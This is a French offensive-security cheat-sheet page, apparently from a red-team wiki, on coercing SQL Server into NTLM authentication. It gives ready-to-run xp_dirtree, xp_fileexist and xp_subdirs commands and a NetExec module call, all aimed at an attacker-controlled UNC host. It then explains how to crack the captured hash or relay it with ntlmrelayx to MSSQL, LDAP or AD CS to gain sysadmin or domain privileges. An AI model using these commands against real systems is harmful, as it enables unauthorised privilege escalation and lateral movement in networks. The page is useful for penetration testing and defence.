SQL Server contacte un chemin UNC sur commande, et n'importe quelle connexion public peut généralement l'y amener via xp_dirtree ou xp_fileexist. Pointez ce chemin vers un listener d'attaquant et l'instance s'authentifie avec son compte de service via SMB, vous remettant une réponse NetNTLM à capturer et casser ou, bien mieux, à relayer. Cela transforme une session de base de données peu privilégiée en déplacement entre instances ou dans le domaine, sans aucun droit sysadmin.
Déclencher l'authentification sortante#
-- any public login can usually call these; the UNC target is attacker-controlled
EXEC xp_dirtree '\\<attacker>\share', 1, 1;
EXEC xp_fileexist '\\<attacker>\share\x';
EXEC master.dbo.xp_subdirs '\\<attacker>\share';
# NetExec coerces the authentication for you
nxc mssql <target> -u user -p pass -M mssql_coerce -o LISTENER=<attacker-ip>
Que faire de l'authentification obtenue par coercition#
- Relayer vers un autre MSSQL où le compte de service est privilégié : relayer la connexion du compte de service vers une seconde instance peut vous promouvoir sysadmin sur celle-ci.
- Relayer vers LDAP / AD CS : le service MSSQL s'exécute souvent sous un compte de domaine, donc son authentification obtenue par coercition alimente RBCD, les shadow credentials ou un certificat exactement comme toute autre authentification de domaine obtenue par coercition.
- Capturer et casser le NetNTLM là où le mot de passe du compte de service est faible.
Notes d'exploitation#
- La coercition ne nécessite que
public, elle fonctionne donc depuis le point d'appui le plus bas et avant toute escalade dans le moteur. - La valeur dépend du compte de service : un compte de service de domaine fait de ceci une primitive de relais Active Directory, et pas seulement une astuce de base de données.
ntlmrelayxprend en charge le relais vers des cibles MSSQL directement, donc un relais MSSQL vers MSSQL est une escalade de privilèges autonome entre instances.- À combiner avec l'énumération pour choisir une cible de relais où le compte obtenu par coercition est sysadmin.
Outils#
- NetExec
mssql(-M mssql_coerce) : déclencher l'authentification sortante. - Impacket
mssqlclient.py: appelerxp_dirtree/xp_fileexistde manière interactive. - ntlmrelayx.py : relayer l'authentification du compte de service obtenue par coercition vers MSSQL, LDAP ou AD CS.